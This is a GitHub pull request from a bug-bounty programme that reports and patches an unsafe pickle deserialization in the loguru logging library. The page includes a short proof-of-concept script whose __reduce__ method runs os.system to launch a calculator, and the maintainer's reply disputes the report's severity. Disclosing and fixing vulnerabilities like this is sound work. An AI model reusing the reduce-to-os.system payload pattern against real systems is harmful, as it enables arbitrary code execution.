Skip to content
This repository has been archived by the owner on Dec 19, 2023. It is now read-only.

Fixed pickle arbitary code execution bug in _recattrs #1

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

Asjidkalam
Copy link

@Asjidkalam Asjidkalam commented Jan 31, 2021

📊 Metadata *

Pickle code execution

Bounty URL: https://www.huntr.dev/bounties/1-pip-loguru

⚙️ Description *

Loguru is a library which aims to bring enjoyable logging in Python.

💻 Technical Description *

Untrusted loading of data by the pickle.load function leading to Arbitrary code execution.

🐛 Proof of Concept (PoC) *

import os
import pickle
# os.system('pip install loguru')
from loguru import _recattrs
#payload formation
class ArbitraryCode:
    def __reduce__(self):
        cmd = ('xcalc')
        return os.system, (cmd,)
dumps = pickle.dumps(ArbitraryCode())
_recattrs.RecordException._from_pickled_value(dumps,dumps,dumps)
  • pip3 install loguru
  • python3 exploit.py

image

🔥 Proof of Fix (PoF) *

Made the pickle loads safe by restricting the pickler. Hence no code will be executed.

image
no calc pops

👍 User Acceptance Testing (UAT)

All OK, no breaking changes introduced. :)

@huntr-helper
Copy link
Member

👋 Hello, @Delgan - @Asjidkalam has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.

Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.

If you have any questions or need support, come and join us on our community Discord!

@Delgan & @Asjidkalam - thank you for your efforts in securing the world’s open source code! 🎉

huntr-helper pushed a commit to 418sec/huntr that referenced this pull request Jan 31, 2021
@Delgan
Copy link

Delgan commented Feb 21, 2021

Hi.

Thanks for the security report. However, I'm not sure protecting __reduce__() in this case is really relevant. Sure, I understand that pickle.loads() is dangerous, but only when used with an untrusted source.

The RecordException is only meant to serialize Python errors. It will not be used again arbitrary data coming from network for example.

From what I see, the PoC is not different than calling os.system() in __str__:

import os

class MyClass:
    def __str__(self):
        os.system("xcalc")

logger.info(MyClass())

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants